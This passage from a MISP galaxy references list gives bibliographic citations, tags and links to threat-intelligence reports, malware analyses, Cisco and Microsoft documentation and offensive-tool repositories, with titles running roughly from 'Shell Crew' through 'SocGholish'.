The tag is: *misp-galaxy:references="Cylance Shell Crew Feb 2017"*

Table 23038. Table References

Links
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

Magento

Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="Magento"*

Table 23039. Table References

Links
https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html

Trend Micro TA505 June 2019

Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group's Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.

The tag is: *misp-galaxy:references="Trend Micro TA505 June 2019"*

Table 23040. Table References

Links

https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/

Shimgvw.dll - LOLBAS Project

LOLBAS. (2021, January 6). Shimgvw.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Shimgvw.dll - LOLBAS Project"*

Table 23041. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Shimgvw/

Binary Defense Kerberos Linux

ARC Labs, Dwyer, John. Gonzalez, Eric. Hudak, Tyler. (2024, October 1). Shining a Light in the Dark – How Binary Defense Uncovered an APT Lurking in Shadows of IT. Retrieved October 7, 2024.

The tag is: *misp-galaxy:references="Binary Defense Kerberos Linux"*

Table 23042. Table References

Links
https://www.binarydefense.com/resources/blog/shining-a-light-in-the-dark-how-binary-defense-uncovered-an-apt-lurking-in-shadows-of-it/

FireEye Shining A Light on DARKSIDE May 2021

FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="FireEye Shining A Light on DARKSIDE May 2021"*

Table 23043. Table References

Links
https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html

Telekom Security DarkGate August 25 2023

Fabian Marquardt. (2023, August 25). Shining some light on the DarkGate loader. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="Telekom Security DarkGate August 25 2023"*

Table 23044. Table References

Links
https://github.security.telekom.com/2023/08/darkgate-loader.html

NCC Group Black Basta June 2022

Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="NCC Group Black Basta June 2022"*

Table 23045. Table References

Links
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/

Trustwave Cherry Picker

Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.

The tag is: *misp-galaxy:references="Trustwave Cherry Picker"*

Table 23046. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/

File obfuscation

Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="File obfuscation"*

Table 23047. Table References

Links
https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/

Shlayer jamf gatekeeper bypass 2021

Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Shlayer jamf gatekeeper bypass 2021"*

Table 23048. Table References

Links
https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/

Shodan

Shodan. (n.d.). Shodan. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Shodan"*

Table 23049. Table References

Links
https://shodan.io

DCSO StrelaStealer 2022

DCSO CyTec Blog. (2022, November 8). #ShortAndMalicious: StrelaStealer aims for mail credentials. Retrieved December 31, 2024.

The tag is: *misp-galaxy:references="DCSO StrelaStealer 2022"*

Table 23050. Table References

Links
https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc

Shortcut for Persistence

Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.

The tag is: *misp-galaxy:references="Shortcut for Persistence"*

Table 23051. Table References

Links
https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence

Unprotect Shortcut

Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023.

The tag is: *misp-galaxy:references="Unprotect Shortcut"*

Table 23052. Table References

Links

https://unprotect.it/technique/shortcut-hiding/

Sleep, shut down, hibernate

AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.

The tag is: *misp-galaxy:references="Sleep, shut down, hibernate"*

Table 23053. Table References

Links
https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop

show_clock_detail_cisco_cmd

Cisco. (2023, March 6). show clock detail - Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="show_clock_detail_cisco_cmd"*

Table 23054. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674

show_processes_cisco_cmd

Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="show_processes_cisco_cmd"*

Table 23055. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760

show_run_config_cmd_cisco

Cisco. (2022, August 16). show running-config - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="show_run_config_cmd_cisco"*

Table 23056. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733

Splunk ShrinkLocker 2024

Splunk Threat Research Team , Teoderick Contreras. (2024, September 5). ShrinkLocker Malware: Abusing BitLocker to Lock Your Data. Retrieved December 7, 2024.

The tag is: *misp-galaxy:references="Splunk ShrinkLocker 2024"*

Table 23057. Table References

Links
https://www.splunk.com/en_us/blog/security/shrinklocker-malware-abusing-bitlocker-to-lock-your-data.html

Kaspersky ShrinkLocker 2024

Cristian Souza, Eduardo Ovalle, Ashley Muñoz, & Christopher Zachor. (2024, May 23). ShrinkLocker: Turning BitLocker into ransomware. Retrieved December 7, 2024.

The tag is: *misp-galaxy:references="Kaspersky ShrinkLocker 2024"*

Table 23058. Table References

Links
https://securelist.com/ransomware-abuses-bitlocker/112643/

Symantec Shuckworm January 2022

Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.

The tag is: *misp-galaxy:references="Symantec Shuckworm January 2022"*

Table 23059. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine

Microsoft Shutdown Oct 2017

Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Microsoft Shutdown Oct 2017"*

Table 23060. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown

MalwareBytes SideCopy Dec 2021

Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.

The tag is: *misp-galaxy:references="MalwareBytes SideCopy Dec 2021"*

Table 23061. Table References

Links
https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure

Rewterz Sidewinder APT April 2020

Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021.

The tag is: *misp-galaxy:references="Rewterz Sidewinder APT April 2020"*

Table 23062. Table References

Links
https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis

Cyble Sidewinder September 2020

Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021.

The tag is: *misp-galaxy:references="Cyble Sidewinder September 2020"*

Table 23063. Table References

Links
https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/

Microsoft Sigcheck May 2017

Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.

The tag is: *misp-galaxy:references="Microsoft Sigcheck May 2017"*

Table 23064. Table References

Links
https://docs.microsoft.com/sysinternals/downloads/sigcheck

Linux Signal Man

Linux man-pages. (2023, April 3). signal(7). Retrieved August 30, 2023.

The tag is: *misp-galaxy:references="Linux Signal Man"*

Table 23065. Table References

Links
https://man7.org/linux/man-pages/man7/signal.7.html

f-secure janicab

Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.

The tag is: *misp-galaxy:references="f-secure janicab"*

Table 23066. Table References

Links
https://www.f-secure.com/weblog/archives/00002576.html

Drive.google.com December 10 2024

Drive.google.com. (2024, December 10). Sign in. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Drive.google.com December 10 2024"*

Table 23067. Table References

Links
https://drive.google.com/drive/my-drive

Group IB Silence Aug 2019

Group-IB. (2019, August). Silence 2.0: Going Global. Retrieved May 5, 2020.

The tag is: *misp-galaxy:references="Group IB Silence Aug 2019"*

Table 23068. Table References

Links

https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf

SecureList Silence Nov 2017

GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.

The tag is: *misp-galaxy:references="SecureList Silence Nov 2017"*

Table 23069. Table References

Links
https://securelist.com/the-silence/83009/

Cyber Forensicator Silence Jan 2019

Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cyber Forensicator Silence Jan 2019"*

Table 23070. Table References

Links
https://web.archive.org/web/20220119133748/https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/

Group IB Silence Sept 2018

Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.

The tag is: *misp-galaxy:references="Group IB Silence Sept 2018"*

Table 23071. Table References

Links
https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA.

CrowdStrike Silent Chollima Adversary September 2021

CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="CrowdStrike Silent Chollima Adversary September 2021"*

Table 23072. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/

Malwarebytes Silent Librarian October 2020

Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.

The tag is: *misp-galaxy:references="Malwarebytes Silent Librarian October 2020"*

Table 23073. Table References

Links
https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/

Phish Labs Silent Librarian

Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021.

The tag is: *misp-galaxy:references="Phish Labs Silent Librarian"*

Table 23074. Table References

Links
https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment

FBI Silent Ransom Group PIN May 23 2025

FBI Cyber Division. (2025, May 23). Silent Ransom Group Targeting Law Firms. Retrieved May 30, 2025.

The tag is: *misp-galaxy:references="FBI Silent Ransom Group PIN May 23 2025"*

Table 23075. Table References

Links
https://www.ic3.gov/CSA/2025/250523.pdf

Trend Micro October 15 2024

Jacob Santos; Cj Arsley Mateo; Sarah Pearl Camiling Read time. (2024, October 15). Silent Threat Red Team Tool EDRSilencer Disrupting Endpoint Security Solutions. Retrieved October 17, 2024.

The tag is: *misp-galaxy:references="Trend Micro October 15 2024"*

Table 23076. Table References

Links
https://www.trendmicro.com/fr_fr/research/24/j/edrsilencer-disrupting-endpoint-security-solutions.html

Github_SILENTTRINITY

byt3bl33d3r. (n.d.). SILENTTRINITY. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Github_SILENTTRINITY"*

Table 23077. Table References

Links
https://github.com/byt3bl33d3r/SILENTTRINITY

GitHub SILENTTRINITY Modules July 2019

Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022.

The tag is: *misp-galaxy:references="GitHub SILENTTRINITY Modules July 2019"*

Table 23078. Table References

Links
https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo

Microsoft Silk Typhoon MAR 2025

Microsoft Threat Intelligence . (2025, March 5). Silk Typhoon targeting IT supply chain. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="Microsoft Silk Typhoon MAR 2025"*

Table 23079. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/03/05/silk-typhoon-targeting-it-supply-chain/

Unit 42 Siloscape Jun 2021

Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021.

The tag is: *misp-galaxy:references="Unit 42 Siloscape Jun 2021"*

Table 23080. Table References

Links
https://unit42.paloaltonetworks.com/siloscape/

Unit42 SilverTerrier 2016

Renals, P., Conant, S. (2016). SILVERTERRIER: The Next Evolution in Nigerian Cybercrime. Retrieved November 13, 2018.

The tag is: *misp-galaxy:references="Unit42 SilverTerrier 2016"*

Table 23081. Table References

Links
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf

Unit42 SilverTerrier 2018

Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.

The tag is: *misp-galaxy:references="Unit42 SilverTerrier 2018"*

Table 23082. Table References

Links
https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise

Timac DYLD_INSERT_LIBRARIES

Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.

The tag is: *misp-galaxy:references="Timac DYLD_INSERT_LIBRARIES"*

Table 23083. Table References

Links
https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/

group-ib_muddywater_infra

Rostovcev, N. (2023, April 18). SimpleHarm: Tracking MuddyWater’s infrastructure. Retrieved July 11, 2024.

The tag is: *misp-galaxy:references="group-ib_muddywater_infra"*

Table 23084. Table References

Links
https://www.group-ib.com/blog/muddywater-infrastructure/

SIM Swapping and Abuse of the Microsoft Azure Serial Console

Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.

The tag is: *misp-galaxy:references="SIM Swapping and Abuse of the Microsoft Azure Serial Console"*

Table 23085. Table References

Links
https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial

EduardosBlog SIPs July 2008

Navarro, E. (2008, July 11). SIP's (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="EduardosBlog SIPs July 2008"*

Table 23086. Table References

Links
https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/

Anonymous Hackers Deface Russian Govt Site

Andy. (2018, May 12). 'Anonymous' Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="Anonymous Hackers Deface Russian Govt Site"*

Table 23087. Table References

Links
https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/

Dell Skeleton

Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.

The tag is: *misp-galaxy:references="Dell Skeleton"*

Table 23088. Table References

Links
https://www.secureworks.com/research/skeleton-key-malware-analysis

Command Five SK 2011

Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Command Five SK 2011"*

Table 23089. Table References

Links
https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf

Trend Micro Skidmap

Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.

The tag is: *misp-galaxy:references="Trend Micro Skidmap"*

Table 23090. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/

Push Security Slack Persistence 2023

Luke Jennings. (2023, October 24). Slack Attack: A phisher's guide to persistence and lateral movement. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="Push Security Slack Persistence 2023"*

Table 23091. Table References

Links
https://pushsecurity.com/blog/phishing-slack-persistence/

Detectify Slack Tokens

Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Detectify Slack Tokens"*

Table 23092. Table References

Links
https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/

Huntress ScreenConnect 2 23 2024

Team Huntress. (2024, February 23). SlashAndGrab ScreenConnect Post-Exploitation in the Wild (CVE-2024-1709 & CVE-2024-1708). Retrieved February 23, 2024.

The tag is: *misp-galaxy:references="Huntress ScreenConnect 2 23 2024"*

Table 23093. Table References

Links
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708

GitHub Sliver C2

BishopFox. (n.d.). Sliver. Retrieved September 15, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver C2"*

Table 23094. Table References

Links
https://github.com/BishopFox/sliver/

Cybereason Sliver Undated

Cybereason Global SOC and Incident Response Team. (n.d.). Sliver C2 Leveraged by Many Threat Actors. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Cybereason Sliver Undated"*

Table 23095. Table References

Links
https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors

GitHub Sliver C2 DNS

BishopFox. (n.d.). Sliver DNS C2 . Retrieved September 15, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver C2 DNS"*

Table 23096. Table References

Links
https://github.com/BishopFox/sliver/wiki/DNS-C2

GitHub Sliver Download

BishopFox. (n.d.). Sliver Download. Retrieved September 16, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver Download"*

Table 23097. Table References

Links
https://github.com/BishopFox/sliver/blob/7489c69962b52b09ed377d73d142266564845297/client/command/filesystem/download.go

GitHub Sliver File System August 2021

BishopFox. (2021, August 18). Sliver Filesystem. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver File System August 2021"*

Table 23098. Table References

Links
https://github.com/BishopFox/sliver/tree/master/client/command/filesystem

GitHub Sliver HTTP

BishopFox. (n.d.). Sliver HTTP(S) C2. Retrieved September 16, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver HTTP"*

Table 23099. Table References

Links
https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2

GitHub Sliver Ifconfig

BishopFox. (n.d.). Sliver Ifconfig. Retrieved September 16, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver Ifconfig"*

Table 23100. Table References

Links
https://github.com/BishopFox/sliver/blob/ea329226636ab8e470086a17f13aa8d330baad22/client/command/network/ifconfig.go

Cyble Sliver Germany January 17 2025

Cyble. (2025, January 17). Sliver Implant Targets German Entities with DLL Sideloading and Proxying Techniques. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Cyble Sliver Germany January 17 2025"*

Table 23101. Table References

Links
https://cyble.com/blog/sliver-implant-targets-german-entities-with-dll-sideloading-and-proxying-techniques/

GitHub Sliver Netstat

BishopFox. (n.d.). Sliver Netstat. Retrieved September 16, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver Netstat"*

Table 23102. Table References

Links
https://github.com/BishopFox/sliver/tree/58a56a077f0813bb312f9fa4df7453b510c3a73b/implant/sliver/netstat

GitHub Sliver Screen

BishopFox. (n.d.). Sliver Screenshot. Retrieved September 16, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver Screen"*

Table 23103. Table References

Links
https://github.com/BishopFox/sliver/blob/master/implant/sliver/screen/screenshot_windows.go

GitHub Sliver Encryption

BishopFox. (n.d.). Sliver Transport Encryption. Retrieved September 16, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver Encryption"*

Table 23104. Table References

Links
https://github.com/BishopFox/sliver/wiki/Transport-Encryption

GitHub Sliver Upload

BishopFox. (n.d.). Sliver Upload. Retrieved September 16, 2021.

The tag is: *misp-galaxy:references="GitHub Sliver Upload"*

Table 23105. Table References

Links
https://github.com/BishopFox/sliver/blob/ea329226636ab8e470086a17f13aa8d330baad22/client/command/filesystem/upload.go

Zdnet Ngrok September 2018

Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.

The tag is: *misp-galaxy:references="Zdnet Ngrok September 2018"*

Table 23106. Table References

Links
https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/

NCSC GCHQ Small Sieve Jan 2022

NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.

The tag is: *misp-galaxy:references="NCSC GCHQ Small Sieve Jan 2022"*

Table 23107. Table References

Links
https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf

Microsoft Smart App Control

Microsoft. (n.d.). Smart App Control Frequently Asked Questions. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="Microsoft Smart App Control"*

Table 23108. Table References

Links
https://support.microsoft.com/en-us/windows/smart-app-control-frequently-asked-questions-285ea03d-fa88-4d56-882e-6698afdb7003

SmartMontools

smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.

The tag is: *misp-galaxy:references="SmartMontools"*

Table 23109. Table References

Links
https://www.smartmontools.org/

CME Github September 2018

byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020.

The tag is: *misp-galaxy:references="CME Github September 2018"*

Table 23110. Table References

Links
https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference

US-CERT SMB Security

US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="US-CERT SMB Security"*

Table 23111. Table References

Links
https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices

SMLoginItemSetEnabled Schroeder 2013

Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="SMLoginItemSetEnabled Schroeder 2013"*

Table 23112. Table References

Links

https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/

Malwarebytes SmokeLoader 2016

Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.

The tag is: *misp-galaxy:references="Malwarebytes SmokeLoader 2016"*

Table 23113. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/

Talos Smoke Loader July 2018

Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.

The tag is: *misp-galaxy:references="Talos Smoke Loader July 2018"*

Table 23114. Table References

Links
https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more

FireEye SMOKEDHAM June 2021

FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate's Supply Chain Software Compromise. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="FireEye SMOKEDHAM June 2021"*

Table 23115. Table References

Links
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html

Huntress HTML Smuggling 2024

Matt Kiely. (2024, July 5). Smuggler's Gambit: Uncovering HTML Smuggling Adversary in the Middle Tradecraft. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Huntress HTML Smuggling 2024"*

Table 23116. Table References

Links
https://www.huntress.com/blog/smugglers-gambit-uncovering-html-smuggling-adversary-in-the-middle-tradecraft

Environmental Keyed HTA

Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Environmental Keyed HTA"*

Table 23117. Table References

Links
http://web.archive.org/web/20200608093807/https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/

nccgroup Smuggling HTA 2017

Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="nccgroup Smuggling HTA 2017"*

Table 23118. Table References

Links
https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/

Accenture SNAKEMACKEREL Nov 2018

Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.

The tag is: *misp-galaxy:references="Accenture SNAKEMACKEREL Nov 2018"*

Table 23119. Table References

Links
https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50

Huntress Python Malware 2025

Matthew Brennan. (2024, July 5). Snakes on a Domain: An Analysis of a Python Malware Loader. Retrieved April 3, 2025.

The tag is: *misp-galaxy:references="Huntress Python Malware 2025"*

Table 23120. Table References

Links
https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader

Sophos Snatch Ransomware 2019

Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.

The tag is: *misp-galaxy:references="Sophos Snatch Ransomware 2019"*

Table 23121. Table References

Links
https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/

AdSecurity SID History Sept 2015

Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="AdSecurity SID History Sept 2015"*

Table 23122. Table References

Links
https://adsecurity.org/?p=1772

ADSecurity GPO Persistence 2016

Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.

The tag is: *misp-galaxy:references="ADSecurity GPO Persistence 2016"*

Table 23123. Table References

Links
https://adsecurity.org/?p=2716

Telefonica Snip3 December 2021

Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.

The tag is: *misp-galaxy:references="Telefonica Snip3 December 2021"*

Table 23124. Table References

Links
https://telefonicatech.com/blog/snip3-investigacion-malware

SentinelLabs SNS Sender 2024

Alex Delamotte. (2024, February 15). SNS Sender | Active Campaigns Unleash Messaging Spam Through the Cloud. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="SentinelLabs SNS Sender 2024"*

Table 23125. Table References

Links
https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/

Cybereason SocGholish Zloader April 2022

Cybereason Global SOC Team. (2022, April 25). SocGholish and Zloader – From Fake Updates and Installers to Owning Your Systems. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Cybereason SocGholish Zloader April 2022"*

Table 23126. Table References

Links
https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems

ReliaQuest SocGholish

Dean Murphy, Brandon Tirado, Joseph Morales. (2023, January 30). SocGholish: A Tale of FakeUpdates. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="ReliaQuest SocGholish"*

Table 23127. Table References

Links
https://www.reliaquest.com/blog/socgholish-fakeupdates/

SocGholish-update

Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update.

Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="SocGholish-update"*

Table 23128. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update

SentinelLabs SocGholish November 2022

Aleksandar Milenkoski. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="SentinelLabs SocGholish November 2022"*

Table 23129. Table References

Links
https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/

SentinelOne SocGholish Infrastructure November 2022

Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.

The tag is: *misp-galaxy:references="SentinelOne SocGholish Infrastructure November 2022"*

Table 23130. Table References

Links
https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/

Proofpoint November 21 2022

Proofpoint. (2022, November 21). SocGholish Malware: A Real Threat from a Fake Update | Proofpoint US. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Proofpoint November 21 2022"*

Table 23131. Table References

Links

https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update

Rapid7 Blog 5 10 2024

Rapid7. (2024, May 10). Social Engineering Campaign Linked to Black Basta Ransomware Operators . Retrieved May 21, 2024.

The tag is: *misp-galaxy:references="Rapid7 Blog 5 10 2024"*

Table 23132. Table References

Links
